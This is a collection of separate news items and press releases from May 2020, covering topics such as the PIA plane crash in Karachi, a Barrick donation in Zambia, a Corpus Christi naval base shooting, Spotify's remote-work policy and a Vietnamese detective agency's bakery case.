LUSAKA, Zambia, May 21, 2020 (GLOBE NEWSWIRE) -- Barrick Gold Corporation (GOLD)(ABX.TO), owner and operator of the Lumwana copper mine, has donated 10 computers to the University of Zambia School of Mines and agreed to help repair the Kakayindu Police Post, in line with its commitment of creating long-term value for its host countries and communities.



Established in 1973, the University of Zambia School of Mines offers undergraduate and postgraduate courses in geology, mining engineering, metallurgy and mineral processing. According to Willem Jacobs, Barricks chief operating officer for Africa and the Middle East, enrolment at the School has increased over the years, creating the need for an expansion of its infrastructure. Jacobs says that in keeping with the groups policy of employing host country nationals and upskilling them to world-class standards, Barrick has long provided scholarships for undergraduate students. The donation of computers is intended to assist the School in its research projects as well as delivering computer-based course material to students.

Additionally, Barrick has agreed to help repair the Kakayindu Police Post, which was vandalized late last year as a result of community unrest. The 22-person strong post provides security to 37,000 people in the Lumwana Township and neighboring communities.

Barrick is driven by a commitment to contribute positively to the development of our host countries and communities, says Jacobs, noting that in 2019 Lumwana employed 3,498 Zambians and contributed $272 million to the countrys economy through taxes, salaries, procurement and community investments.

Barrick enquiries

Country executive director Zambia

Nathan Chishimba

+260 977 790 108 Investor and media relations

Kathy du Plessis

+44 20 7557 7738

Email: barrick@dpapr.com

Website: www.barrick.com

Cautionary Statement on Forward-Looking Information

Certain information contained in this press release, including any information as to our strategy, projects, plans or future financial or operating performance, constitutes forward-looking statements. All statements, other than statements of historical fact, are forward-looking statements. The words support, create, commitment, contribute, will, continue and similar expressions identify forward-looking statements. In particular, this press release contains forward-looking statements including, without limitation, with respect to: Barricks support for the University of Zambia School of Mines; Barricks commitment to employing host country nationals and creating long-term value for its host countries and communities including in Zambia; Barricks agreement to help repair the Kakayindu Police Post for the Lumwana Township and neighboring communities; and Barricks future investments in community projects and contributions to the Zambian economy.

Story continues

Forward-looking statements are necessarily based upon a number of estimates and assumptions including material estimates and assumptions related to the factors set forth below that, while considered reasonable by the Company as at the date of this press release in light of managements experience and perception of current conditions and expected developments, are inherently subject to significant business, economic and competitive uncertainties and contingencies. Known and unknown factors could cause actual results to differ materially from those projected in the forward-looking statements and undue reliance should not be placed on such statements and information. Such factors include, but are not limited to: fluctuations in the spot and forward price of gold, copper or certain other commodities (such as silver, diesel fuel, natural gas and electricity); the speculative nature of mineral exploration and development; changes in national and local government legislation, taxation, controls or regulations and/or changes in the administration of laws, policies and practices, expropriation or nationalization of property and political or economic developments in Zambia and other jurisdictions in which the Company or its affiliates do or may carry on business in the future; lack of certainty with respect to foreign legal systems, corruption and other factors that are inconsistent with the rule of law; risks associated with illegal and artisanal mining; risks associated with new diseases, epidemics and pandemics, including the effects and potential effects of the global COVID-19 pandemic; changes in mineral production performance, exploitation and exploration successes; risks associated with projects in the early stages of evaluation and for which additional engineering and other analysis is required; operating or technical difficulties in connection with mining or development activities, including geotechnical challenges and disruptions in the maintenance or provision of required infrastructure and information technology systems; failure to comply with environmental and health and safety laws and regulations; timing of receipt of, or failure to comply with, necessary permits and approvals; disruption of supply routes which may cause delays in construction and mining activities; damage to the Companys reputation due to the actual or perceived occurrence of any number of events, including negative publicity with respect to the Companys handling of environmental matters or dealings with community groups, whether true or not; risk of loss due to acts of war, terrorism, sabotage and civil disturbances; litigation and legal and administrative proceedings; contests over title to properties, particularly title to undeveloped properties, or over access to water, power and other required infrastructure; business opportunities that may be presented to, or pursued by, the Company; our ability to successfully integrate acquisitions or complete divestitures; employee relations including loss of key employees; increased costs and physical risks, including extreme weather events and resource shortages, related to climate change; and availability and increased costs associated with mining inputs and labor. In addition, there are risks and hazards associated with the business of mineral exploration, development and mining, including environmental hazards, industrial accidents, unusual or unexpected formations, pressures, cave-ins, flooding and gold bullion, copper cathode or gold or copper concentrate losses (and the risk of inadequate insurance, or inability to obtain insurance, to cover these risks).

Many of these uncertainties and contingencies can affect our actual results and could cause actual results to differ materially from those expressed or implied in any forward-looking statements made by, or on behalf of, us. Readers are cautioned that forward-looking statements are not guarantees of future performance. All of the forward-looking statements made in this press release are qualified by these cautionary statements. Specific reference is made to the most recent Form 40-F/Annual Information Form on file with the SEC and Canadian provincial securities regulatory authorities for a more detailed discussion of some of the factors underlying forward-looking statements and the risks that may affect Barricks ability to achieve the expectations set forth in the forward-looking statements contained in this press release. We disclaim any intention or obligation to update or revise any forward-looking statements whether as a result of new information, future events or otherwise, except as required by applicable law.
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The police at Baatsona have picked up four persons including a lady they suspect were trading in dried leaves suspected to be Indian hemp aka Wee.

The suspects have been identified as Foli Emmanuel, Juliet Asempapa, George Dzamesi, and Prosper Tibo.

The Accra Regional Police Public Relations Officer, DSP Effia Tenge, said the suspects were arrested by the police upon a tip-off.

She said 138 slabs in 66 parcels of the suspected narcotic drugs hidden in an uncompleted building and a mini bus were retrieved during the operation.

The Baatsona police received intelligence report that some persons were dealing in narcotic drugs at Hydrofoam Estate.

Our investigations indicate that they were trading in the substance suspected to be Indian hemp, and so we are detaining them and send samples for forensic examination to aid our investigations, she added.

---Daily Guide
Islamabad, May 22 (UNI) A passenger plane of Pakistan International Airlines (PIA) crashed on Friday afternoon in the southern port city of Karachi, local media reported.

According to media reports, PIA spokesperson Abdul Sattar confirmed the crash and said that the flight A-320, flying from Lahore to Karachi, was carrying over 90 passengers.

Police, security forces and rescue teams reached the site and were extinguishing the fire. An eyewitness told the media that the plane crashed in a residential area.

Meanwhile, Radio Pakistan reported that the aircraft en route from Lahore to Karachi crashed just before landing at Karachi airport. Ninety-nine passengers and eight crew members were on board.

Details are awaited.

UNI JAL SB 1608
BAKU, Azerbaijan, May 22

Trend:

Ambassador of India to Azerbaijan H.E. Mr. B. Vanlalvawna has sent a message on the occasion of Ramadan holidays.

"My colleagues in the Embassy of India in Baku join me in sending our warmest greetings to the friendly people of Azerbaijan on Ramadan holidays.

"This happy occasion provides an opportunity to ignite the spirit of harmony, compassion and peace in our society.

"Eid Mubarak to all our friends in Azerbaijan. May this auspicious occasion bring joy and prosperity to all," reads the message.
Molina Healthcare of Michigan Donates $100,000 for Flood Relief Efforts

Molina Healthcare of Michigan ("Molina") is responding to the catastrophic flooding in mid-Michigan with a $100,000 donation to the United Way of Midland County. Governor Gretchen Whitmer declared a State of Emergency in central Michigan after two dams failed following heavy rainfall this week.

"Michiganians have endured difficult times in recent weeks, and we hope this donation will ease some burdens," said Christine Surdock, plan president of Moina Healthcare of Michigan. "The funds will support immediate relief efforts as Molina continues to provide trusted service for our members, providers, and communities."







The donation will help provide shelter, food, and supplies for approximately 10,000 residents displaced. Molina team members are actively reaching out to affected members in the region to offer support and guidance.

"United Way of Midland County is beyond thankful for Molina Healthcare's generous donation of $100,000 to support our local flood relief efforts," said Holly Miller, executive director of United Way of Midland County. "Support from organizations like Molina Healthcare make it possible to provide our community with essential emergency resources, support, and hope amidst the recent flood event and COVID-19 response. We are grateful to Molina Healthcare."

For information about benefits or general assistance, Molina members can call (888) 898-7969.

About Molina Healthcare of Michigan

Since 1997, Molina Healthcare of Michigan has been providing government-funded care for low-income individuals. As of March 31, 2020, the company serves approximately 362,000 members through Medicaid, Medicare, Medicare-Medicaid (Duals) and Health Insurance Exchange programs throughout Michigan. For more information, visit molinahealthcare.com.

View source version on businesswire.com: https://www.businesswire.com/news/home/20200521005801/en/
Infosys rose 1.68% to Rs 683.30 after a class action lawsuit filed against the IT major and some of its employees in the United States District Court stands dismissed.

In October 2019, a class action lawsuit was filed in the United States District Court against Infosys and certain of its current and former officers. The complaint, which was filed in the Eastern District of New York, was brought on behalf of a class consisting of persons or entities who purchased the company's publicly traded securities between 7 July 2018 and 20 October 2019, and alleged claims for violations of the US federal securities laws. On 21 May 2020, the plaintiff voluntarily dismissed the lawsuit without prejudice.

The Schall Law Firm, a shareholder rights litigation firm based in Los Angeles, had filed the complaint alleging that CEO Salil Parekh skipped standard reviews of large deals to avoid accounting scrutiny.

After unveiling Q3 results in January 2020, Infosys announced conclusion of the independent investigation into allegations contained in the anonymous whistleblower complaints disclosed earlier. The audit committee determined that the allegations are substantially without merit. It concluded that no restatement of previously announced financial statements or other published financial information is warranted.

Infosys' consolidated net profit (after minority interest) fell 3.1% to Rs 4,321 crore on a 0.8% rise in revenues to Rs 23,267 crore in Q4 March 2020 over Q3 December 2019.

Infosys is a global leader in next-generation digital services and consulting.

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
We used to communicate with her but on May 4 she went silent. The following day she did not report at her work place. We waited for the required period so that we can file a missing person report which we later did. Investigations were done and finally police got information that there is a body at one of the mortuaries and on May 14 we positively identified the body. She was cut into pieces using a grinder and her attackers wrapped her body parts with a curtain and dumped it into a dustbin which they dumped in a pavement.
Yesterday was a big day for actor Rana Daggubati, as he made his relationship official with Miheeka Bajaj. The big announcement was made by the Baahubali actor himself on his social media handle. Soon, the news of his 'private engagement' ceremony made it to the headlines and became the talk of the town.

The adorable pictures of the duo from the ceremony went viral on social media in no time with engagement hashtags. Well now, Rana has cleared the air about the pictures and has revealed that those were not from his engagement ceremony! Don't believe us? Check out the next picture.

After the function, Rana Daggubati shared a screenshot of his Whatsapp conversation with actor Nani on his Instagram story. As per the screenshot, the Gang Leader actor congratulated Rana and asked whether it was an engagement ceremony, to which he replied that it was a Roka ceremony. Roka ceremony which is not common in South India confused Nani, who responded saying that he would now have to Google to understand the meaning of Roka. Well, Rana clearly was in splits to see Nani's reply. Well, Nani has made us realize that we were living under a rock as it wasn't the engagement ceremony but the Roka ceremony that happened yesterday.

For those who don't know what Roka ceremony is, it is custom before the engagement which is commonly followed in the north Indian states. The would-be bride and groom's family and relatives bless the couple with shagun and teeka to make their relationship official. It marks the starting of the wedding festivities.

Recently, Rana's father and renowned producer Suresh Babu Daggubati had clarified that both the families have convened a formal meeting, to finalize the auspicious date for the engagement and marriage. He had also confirmed to a leading website that Rana's wedding will be mostly be happening in December, this year.

On the work front, Rana Daggubati will next be seen in Virata Parvam opposite Sai Pallavi.

Rana Daggubati Announces Engagement With GF Miheeka Bajaj; Netizens Start Celebration

Brahmaji Trolls Rana Daggubati After He Confirms Relationship With Miheeka Bajaj!" title="Also Read: Brahmaji Trolls Rana Daggubati After He Confirms Relationship With Miheeka Bajaj!" />Also Read: Brahmaji Trolls Rana Daggubati After He Confirms Relationship With Miheeka Bajaj!
<! President Buhari >

With the Eid-el-Fitr celebrations around the corner and the month-long Ramadan fast coming to an end, President Muhammadu Buhari will be conducting his Eid prayers with his family at home.

This is in observance of the lockdown measures in the Federal Capital Territory, Abuja, put in place to save lives and protect people from all dangers.

According to a statement issued by Garba Shehu, Senior Special Assistant to the President on Media and Publicity, this is also in line with the directive of the Sultan of Sokoto and President General of the Jamaatu Nasril Islam (JNI), Alhaji Saad Abubakar III suspending Eid congregational prayers across the country as well as the protocol against mass gathering issued by the Presidential Task Force on COVID-19.

Further to this, the President who has traditionally shared the joyous moment with top government officials, political leaders, community heads, Muslim and Christian religious leaders and children, will not be receiving these homages in a bid to stop the coronavirus from further spreading.
Investors are getting acquainted with a new class of CEOs, who are making crucial decisions about how to steer the companies that are in some cases taking the worst hit from the coronavirus crisis.

The problem: No one has experience dealing with an economy-shuttering global pandemic.

The backdrop: A record number of CEOs stepped down in prior months amid a thriving economy. Their successors are now taking the helm but under unprecedented circumstances.

Wednesday marked Day 1 for United's new chief, Scott Kirby. The transition was long-planned, but "no one knew that our world was going to change so considerably" when he took over, Kirby said in an email to customers this week.

Among the other companies debuting CEOs during the pandemic: L Brands, Expedia and IBM.

Hertz unexpectedly named a new CEO this week, its fifth leader in just as many years. He'll take the helm of the car rental company that was struggling pre-pandemic but is now fighting to avert bankruptcy as demand collapses and used car prices plummet.

Why it matters: These CEOs will be the face of tough decisions  including about layoffs  as their businesses are forced to change.

Were already seeing it: IBM is reducing its workforce by an unspecified amount, the WSJ reports, the first layoffs under new CEO Arvind Krishna.

Yes, but: In certain cases, while some titles have changed, predecessors are lingering in the background.

United's former CEO Oscar Munoz is now the executive chair of the company.

Meantime, former Disney CEO Bob Iger, who announced he would step down in February, "has effectively returned to running the company," the New York Times reported last month.

The other side: Retirement plans are being put on ice. Their companies are halting the time-consuming searches for new leaders. But no amount of tenure could have prepared someone to navigate the coronavirus pandemic.

One example : The CEO of California State Teachers' Retirement System, one of the largest pension funds in the U.S., is delaying retirement in part to focus on its response to the coronavirus economic downturn.

: The CEO of California State Teachers' Retirement System, one of the largest pension funds in the U.S., is delaying retirement in part to focus on its response to the coronavirus economic downturn. Another: International Airlines Group, the parent company of British Airways, is keeping its chief executive on as it navigates the crisis.

What they're saying: "A company that a year ago was focused on growth and international expansion might now need to shift much more towards cost-cutting," Yo-Jud Cheng, a professor at the University of Virginia's business school, tells Axios.

"The types of leadership qualities necessary to deal with that might be very different," she says.

Editor's note: This story has been updated to correct that IBM's layoffs were reported, not verbally confirmed by its new CEO.
G7 ambassadors in Ukraine have welcomed reaching of the staff-level agreement between Ukraine and the International Monetary Fund (IMF) on the new 18-month Stand-By Arrangement (SBA) in the amount of $5 billion.

"The G7 Ambassadors congratulate Ukraine and the IMF on reaching staff-level agreement on a new assistance program that will bolster Ukraine's macroeconomic stability and help it manage the COVID-19 crisis," reads a report of G7 Ambassadors' Support Group in Kyiv on Twitter.

As reported, in late hours of May 21, IMF and Ukrainian authorities have achieved a staff-level agreement on a new Stand-By Arrangement (SBA) to help Ukraine deal with the COVID-19 pandemic.
FBI Says Texas Naval Base Shooting Is Terrorism-Related

A shooting at a Texas naval air station that wounded a sailor and left the gunman dead early Thursday was being investigated as terrorism-related, the FBI said, but divulged few details as to why.

The suspect was identified as Adam Alsahli of Corpus Christi, according to three officials familiar with the investigation who were not authorized to speak publicly and spoke to The Associated Press on condition of anonymity.

At about 6:15 a.m., the gunman tried to speed through a security gate at Naval Air Station Corpus Christi, opening fire and wounding the sailor, a member of base security, U.S. officials told the AP. But she was able to roll over and hit the switch that raised a barrier, preventing the man from getting onto the base, the officials said.

Other security personnel shot and killed the man.

There was an initial concern that he may have an explosive device, but Navy experts swept the area and the car and found nothing. The officials spoke on condition of anonymity to discuss details about an ongoing investigation. Officials were still working to process the crime scene late into the day and had recovered some type of electronic media.

Later, federal agents were seen carrying items from inside a house that a Corpus Christi police tactical unit had surrounded and a public records search by local television station KRIS indicated was Alsahlis last known address. A police spokesman would not confirm that the activity was related to the shooting at the Naval station.

The base was on lockdown for about five hours, but it was lifted shortly before noon. The main gate was reopened, though the gate where the incident occurred was still shut down.

FBI Supervisory Senior Resident Agent Leah Greeves said at a news conference that investigators were working to determine whether a second person of interest was at large but did not elaborate. She also would not discuss a potential motive or specify what led investigators to believe the shooting was related to terrorism.

We have determined that the incident this morning at the Naval Air Station Corpus Christi is terrorism related, Greeves said. We are working diligently with our state, local, and federal partners on this investigation, which is fluid and evolving.

The FBIs field office in Houston has taken the lead on the investigation, and neither investigators nor the Navy provided details on the shooter or a possible motive. Attorney General William Barr has also been briefed, a Justice Department spokeswoman said.

The injured sailor was discharged from a hospital where she was treated for minor injuries, according to a statement from the command.

The air station is surrounded by water on three sides and is home to Naval pilot training since 1941, according to its website. Marine Corps, Navy, U.S. Coast Guard student pilots train there. Its also home to the Corpus Christi Army Depot, a depot for the Department of Defense rotary wing aircraft.

The station had a similar lockdown last December. In another incident at the base last year, a man pleaded guilty to destruction of U.S. government property and possession of a stolen firearm for ramming his truck into a barricade at the Corpus Christi station.

The shooting also comes months after a Saudi Air Force officer who was training at a Navy base in Pensacola, Florida, killed three U.S. sailors and wounded eight other people in a shooting that American officials described as an act of terrorism. The countrys top federal law enforcement officials said this week that the gunman in Decembers attack, Mohammed Saeed Alshamrani, had been in touch with al-Qaida operatives about planning and tactics in the months before the shooting. Alshamrani was killed by a sheriffs deputy.

According to U.S. officials, unlike Pensacola, there are no international or foreign national students at the Texas base. The military put a number of new safety procedures in place after the Pensacola shooting to restrict and better screen international students.

By Lolita C. Baldor and Michael Balsamo
CHICAGO, May 22, 2020 /PRNewswire/ -- On May 21, 2020, McDonald's Board of Directors declared a quarterly cash dividend of $1.25 per share of common stock payable on June 15, 2020 to shareholders of record at the close of business on June 1, 2020.

Upcoming Communications

For important news and information regarding McDonald's, including the timing of future investor conferences and earnings calls, visit the Investor Relations section of the Company's Internet home page at www.investor.mcdonalds.com. McDonald's uses this website as a primary channel for disclosing key information to its investors, some of which may contain material and previously non-public information.

About McDonald's

McDonald's is the world's leading global foodservice retailer with about 38,000 locations in over 100 countries. Approximately 93% of McDonald's restaurants worldwide are owned and operated by independent local business owners.

Forward-Looking Statements

This release contains certain forward-looking statements, which reflect management's expectations regarding future events and operating performance and speak only as of the date hereof. These forward-looking statements involve a number of risks and uncertainties. Factors that could cause actual results to differ materially from our expectations are detailed in the Company's filings with the Securities and Exchange Commission, such as its annual and quarterly reports and current reports on Form 8-K. The Company undertakes no obligation to update such forward-looking statements, except as may otherwise be required by law.

SOURCE McDonald's Corporation

Related Links

http://www.investor.mcdonalds.com


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Usually, people are off on adventurous road trips or flying someplace fun for the three-day Memorial Day Weekend. The coronavirus has so disrupted holiday travel that the AAA travel organization didnt bother with its annual forecast advising Americans of the best times to get out of town to avoid the rush, how many people theyll encounter on the road and in the air, and how much theyll spend for a hotel.



This year, people are finding new ways to delight themselves by staying put. One of our Patch editors in Florida asked readers for inspiration, and they responded with photos of their socially-distanced excursions.

Together, they display the incredibility of humans to adapt to the worst of circumstances.

Read it: Touching, Beautiful Moments While Staying Home, by DAnn Lawrence White on Land O Lakes Patch.

Here are 12 other stories that offer inspiration and hope:

For Sure, One For The Memories

The coronavirus has upended all our lives in a myriad of different ways. Jeongmin Cho, an international student at Princeton University, and his family decided when the virus hit that he should quarantine on the New Jersey campus rather than return home to Seoul, South Korea, at the time one of the most affected countries. He decided to make the most of the situation is documenting daily life during a pandemic. By Alexis Tarrazi on Princeton Patch.

(Photo courtesy of Jeongmin Cho)

Nurses Paws For Dog Therapy

Those of us who arent working in hospitals cant always appreciate the amount of stress those who do experience every moment of their lives. Their smiles showed through their masks and were reflected in their eyes when the crew from a New Jersey animal shelter showed up with some dogs that gave them just what they needed. By Eric Kiefer on Newark Patch.

(Photo courtesy of Associated Humane Societies)

200 Tiny Gestures And A Huge Heart

An Austin sixth-grader arranged 200 tiny bouquets of flowers in 200 tiny vases, then arranged them on a hospital lawn in the shape of a heart  certainly touching the hearts not only of doctors, nurses and other medical workers, but also janitors, cafeteria workers and others on the hospital staff. By Tony Cantu on Downtown Austin Patch.

Story continues

(Photo courtesy of Ascension Seton Medical Center)

Rabbi Raps To Wrap Up Sale

Trying times call for creativity, and an Illinois rabbi and his family rose to the challenge. They put their home on the market with plans to move into one that better fit their growing family. Then the coronavirus hit, and open houses and showings became a thing of the past. So the rabbi decided to rap the sales pitch. By Jonah Meadows on Wilmette-Kenilworth Patch.

(Photo courtesy of Moshe Teldon)

The (Cooking) Show Must Go On

Nothing about school is the same as it was before the coronavirus. In Illinois, a family and consumer sciences teacher asked students to turn their kitchens into virtual classrooms and come up with their own culinary masterpieces. By Abhinanda Datta on Plainfield Patch.

(Photo courtesy of Plainfield School District 202)

Times Are Tough, So Athlete Gets Tough

This should have been a turnaround season for a California high school student who plays outfielder for her schools softball team. She wants to play softball in college, and this would have been the summer for scouts to check out her talent. But rather than moping and frittering away her time, she went full throttle ahead toward her dreams. By Ashley Ludwig on Rancho Santa Margarita Patch.

(Photo courtesy of the Glass Family)

Big Turnout For Vet's Parade

A U.S. Army veterans 100th birthday party looked to be a bust, another casualty of the coronavirus, but Patch readers in a Virginia town responded when asked to help make it up to the gentleman. What a parade he got! By Emily Leayman on Burke Patch.



(Photo courtesy of Jeff Lin)



Stretching Her Wings

Cole Lawlor never imagined herself as an author, or that she would write a childrens book. But her message in Baby Big Bird is resonating with children who are having difficulty understanding why theyre cut off from their friends, school and sports. By Rachel Nunes on Cranston Patch.

(Photo courtesy of Cole Lawlor)

March For A Million Masks

Businesses are responding in various ways to the coronavirus crisis. A clothing manufacturer in Illinois has been personalizing apparel and business promotional products for nearly three decades, but pivoted to donate up to 1 million masks. By Rebecca Bream on Palatine Patch.

A Tale Of Two Bears

We get it. Sometimes, the best therapy for quarantine boredom is just to watch what goes on in nature. Bears coming out of hibernation are awaking to a quieter world in Colorado, and theyre venturing farther into neighborhoods without worry of encountering too many pesky humans. A guy in Boulder caught the most interesting scene on camera: A young bear inspecting a wooden landscaping bear. By Amber Fisher on Boulder Patch.

(Photo courtesy of Steve Wolf)

Before You Waste More Food 



Were all going to the grocery store less as the pandemic wears on, and a real dilemma for many folks is how to make food last as long as possible. Here are some tips  and by all means, if you have others, let us know. Were all in this together. By Gus Saltonstall on Across America Patch.

This article originally appeared on the Across America Patch
Click here to read the full article.

As the coronavirus-induced lockdown begins to ease in Europe and the U.S. and people begin to confront the realities of returning to a changed office environment, Spotify has told its employees in all territories that they are free to work from home until next year.

A Spotify spokesperson confirmed to Variety, Earlier today, we announced the extension of our work-from-home arrangement for all Spotify employees globally. We will continue to track local government guidelines city-by-city and take a phased approach of opening our offices when we deem it safe to do so. Our employees health and safety is our top priority. No employee will be required to come into the office and can choose to work from home through the end of the year. The news was first reported by Music Business Worldwide.

More from Variety

Spotify joins other internet companies extending work-from-home policies through the end of 2020, including Facebook and Google. Meanwhile, other companies including Twitter will let staffers work from home indefinitely if they are able to.

According to its latest annual fiscal report, Spotify employed 4,405 people on a full-time basis worldwide in 2019, with 2,121 in the United States and 1,437 in Sweden, and has offices and/or operations in 79 countries and territories around the world.

In its earnings report last month, the company said it will slow hiring for the rest of 2020 until we have better visibility into the economic impact of COVID-19, and has reduced open headcount by roughly 30% from prior growth expectations. Even so, Spotify says its still hiring and headcount is projected to increase 15% for the year, according to a spokesperson. At the end of Q1, the company had 5,779 full-time employees globally.

Story continues

Content consumption on Spotifys streaming platform has been dramatically affected by the COVID-19 crisis  with usage initially down in areas affected by lockdown orders  but the company saw a rebound in active listeners in Q1.

Spotify lowered full-year revenue outlook on uncertainty introduced by the coronavirus pandemic: Its now expecting 7.65 billion-8.05 billion in sales ($8.29 billion to $8.73 billion at current exchange rates), down from 8.08 billion-8.48 billion.

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A family-owned bakery in Ho Chi Minh City may never have discovered that one of their own was selling company secrets to a competitor if it had not been for the help of a local private detective agency.

When the owner of a popular bakery in the city found that a competitor had begun offering nearly identical products at lower prices, she turned to VDT Detective Agency to uncover the mystery of how her familys recipes were making their way into the hands of another business.

The stolen recipe

When sales began to slip and the competitor began taking a stronger foothold in the market, the management board at the bakery was forced to take out a loan to keep the business afloat.

Unsure of how the bakerys success had dwindled so far so fast, the woman in charge of the bakery requested a secret meeting between herself and VDT Detective Agency, hoping its team of private investigators could help her find the answer.

Ngoc Anh, the lead investigator assigned to the case, immediately got to work. His first order of business: requesting a complete list of the bakerys staff members, both new and old.

A quick review of the list told Ngoc Anh two important details. First, there had been no new hires at the bakery in the last two years. Second, the bakerys management was comprised completely of family members.

With these two facts in mind, the investigator quickly reasoned that whoever was sabotaging the business was likely an insider who had been bribed by the competitor or looking for payback due to an internal dispute.

Ngoc Anh then began researching the five family members involved in the business, but he concluded that their loyalty could not be doubted.

Each had rights and benefits that were clearly defined. Simply put, they all had nothing to gain by selling out their familys secrets.

Going undercover

Detective Tu, another member of the investigation team, attempted to file a job application form with the bakerys competitor but was told there were no openings.

Instead, to infiltrate the business, he identified a female he felt he could manipulate.

The detective team set up staged mugging in which two undercover detectives bumped into Nguyet and attempted to steal her purse. Tu then appeared out of the blue to save the day.

Not only had Tu become a superhero in Nguyets eyes, but he also coincidentally turned out to be her new next-door neighbor.

In the days that followed, Tu exchanged a series of text messages with Nguyet, hinting that he needed a new job.

Nguyet wound up putting in a good word for Tu and the investigator landed himself access to the companys warehouse as a porter.

After five months of working as a porter, Tu gained the trust of his superiors and was regarded as a key assistant in the production chain.

Such trust granted him access to several of the companys financial documents, one of which was a receipt for a recipe purchased for VND1 billion (US$43,000) from an unknown seller.

Ngoc Anh (left) discusses how to approach a target with a fellow detective. Photo: Vu Tuan / Tuoi Tre

A suspicious sum

The recipe purchase was not the only odd note in the competitors financial accounts.

There was also a record for a VND15 million ($645) party paid for by the CEO with a note reading, For the executive, thank you Minh.

It was the only place the name Minh was mentioned in any of the competitors lists of partners.

A deeper investigation also uncovered that a sum of VND1 billion was transferred into a bank account belonging to a person named Vu Ngoc Minh.

The amount and timing of the transaction coincided with the alleged insiders job.

The detective soon found that Minh was the clients brother-in-law who had been hired by the bakery as vice director after his seafood business went bankrupt.

Refusing to believe the news, the client asked the investigators to gather more concrete evidence of her brother-in-laws betrayal.

Submitting to the request, Tu placed incriminating documents in a briefcase with a hidden tiny recording device and delivered it to the meeting room on the day of a board meeting.

The negotiation of the purchase of the new recipe was recorded, revealing that the transaction should take place at a fancy restaurant in District 8, Ho Chi Minh City.

On the morning of the transaction, the detectives, disguised as maintenance workers, installed a hidden camcorder in an air conditioner to film the meeting.

With concrete proof in hand, the client successfully sued their competitor for copyright infringement.

Minh, it turned out, committed the act to pay off his personal debts. After the court ruling, he moved to Cambodia and currently buys and sells old vehicle parts.

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Linkedin Ghina Ghaliya (The Jakarta Post) Jakarta  Sat, May 23, 2020 06:01 607 fc6853813033f564188675f8bd9bb879 1 National COVID-19,coronavirus,medical-workers,Jakarta-COVID-19,Jokowi,anies-baswedan,incentives,virus-corona,virus-korona-indonesia,stimulus Free

Medical workers treating COVID-19 patients in Jakarta have reported that they have yet to receive the financial incentives announced by the central government and provincial administration in March.

A Jakarta-based general practitioner Arif, who asked to use a pseudonym, discussed his and other colleagues experiences while treating COVID-19 patients in the intensive care unit (ICU), emergency rooms and other wards in a hospital in Jakarta. He is also treating suspected and confirmed patients with mild symptoms in isolation rooms.

Arif, who chose not to reveal the name of the hospital where he works, said it was part of a private hospital group appointed by the government to treat emerging infectious disease patients, as stipulated in a circular issued by the Health Ministry.

However, he has yet to hear any news regarding the governments incentives for medical workers at the hospital.

I haven't received any government incentives or information about it from hospital management. Ive only obtained an additional safety risk payment from my hospital amounting to between Rp 300,000 [US$20.16] and Rp 500,000," Arif told The Jakarta Post on Friday.

Read also: Bonuses slashed, pay cut: Indonesian nurses fight pandemic, financial hardships

President Joko Jokowi Widodo said previously that the government had allocated Rp 5.9 trillion to be given as incentives to medical workers treating confirmed patients. The government said it would provide each medical specialist an incentive of Rp 15 million, physicians and dentists Rp 10 million, nurses Rp 7.5 million and other medical staff members Rp 5 million.

Jakarta Governor Anies Baswedan previously announced an additional Rp 215,000 daily incentive for medical workers in the capital city.

Since the two leaders announced the programs in March, neither has given any updates on the progress of payments. Meanwhile, medical workers in many hospitals have seen a cut in their salaries and Idul Fitri holiday bonuses.

Arifs experience was echoed by Ratna, who also chose to be referred to with a pseudonym. She is nurse who treats COVID-19 patients in the ICU of the Fatmawati General Hospital in South Jakarta.

She said she and her colleagues had yet to receive any financial incentives, as the hospital had to verify the employees attendance, punctuality and the extent to which they were exposed to the virus before distributing the funds.

Ive asked my hospitals financial and human resources divisions. They replied that they were still counting the number of people eligible for it," she said.

Arif saw a 30 to 35 percent cut in his paycheck last month. His salary is determined by the number of patients he treats, and the Health Ministry has stated that the occupancy rate of hospitals has dropped by between 20 and 50 percent nationwide.

In addition, the ministry has not fully paid the hospitals claims for PDPs, thus affecting the facilitys revenue.

Meanwhile, Ratna, a contract worker, had her salary cut by about 30 to 40 percent last month.

Read also: More Indonesian doctors, nurses die fighting against COVID-19

The secretary of the ministrys Health Service Directorate General, Agus Hadian Rahim, said the central government had been working to pay the incentives to medical workers. Were processing the payments and the hospitals claims, he said without elaborating further.

The Jakarta Health Agency did not respond to the Posts request for comment.

As of Friday, 6,400 cases of COVID-19 had been confirmed in the capital and 500 people had died.

Institute for the Development of Economics and Finance (Indef) economist Bhima Yudhistira urged the Health Ministry and the Jakarta administration to pay the stimulus.

Financial hardship can affect medical workers performance. An immediate stimulus is urgently needed because they are fighting on the front lines against the disease, he said.
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A 17-year-old was killed Thursday after a vehicle crash in Washington County.

The teenager, from the small community of St. Stephens, was killed after colliding with another vehicle on the U.S. 43 north of Sunflower, according to troopers from the Alabama Law Enforcement Agency.

The occupants of the other vehicle, 61-year-old Melvin Harold Dixon and his passenger 20-year-old Lawrence Payton Rutledge, were taken to the University Hospital in Mobile. The condition of neither man is known at this time.

ALEA troopers continue to investigate. No further information is available.
Volunteers look for survivors of a plane that crashed in a residential area of Karachi, Pakistan, May 22, 2020. An aviation official says a passenger plane belonging to state-run Pakistan International Airlines carrying more than 100 passengers and crew has crashed near the southern port city of Karachi. (AP Photo/Fareed Khan)

An airliner carrying 98 people has crashed in a crowded neighbourhood near the airport in Pakistans port city of Karachi after an apparent engine failure during landing.

Officials said there were at least two survivors from the plane, and it was unknown how many people on the ground were hurt, with at least five houses destroyed.

The pilot of Pakistan International Airlines (PIA) Flight 8303 was heard transmitting a mayday to the tower shortly before the crash of the Airbus A320, which was flying from Lahore to Karachi.

Video on social media appeared to show the jet flying low over a residential area with flames shooting from one of its engines.

The plane came to rest between houses smashed by its wings in a narrow alley in the poor and congested residential area known as Model Colony. Police in protective masks struggled to clear away crowds amid the smoke and dust so ambulances and fire engines could reach the site.

As darkness fell, crews worked under floodlights, and a portable morgue was set up. At least 57 bodies were recovered, health department officials said, and PIA chairman Arshad Malik said finding all the dead could take two to three days.

Pakistans civil aviation authority said the plane had 91 passengers and a crew of seven. The A320 can carry up to 180 passengers, depending on how its cabin is configured.

Two passengers survived, said Meeran Yousaf, Sindh provincial Health Department spokeswoman, revising an earlier statement that three had survived.

At least three people on the ground were injured.

Pakistan had resumed domestic flights earlier this week ahead of the Eid-al Fitr holiday marking the end of the Islamic fasting month of Ramadan.

Pakistan has been in a countrywide lockdown since mid-March because of coronavirus, and the airline has been using social distancing guidelines on its flights by leaving every other seat vacant.

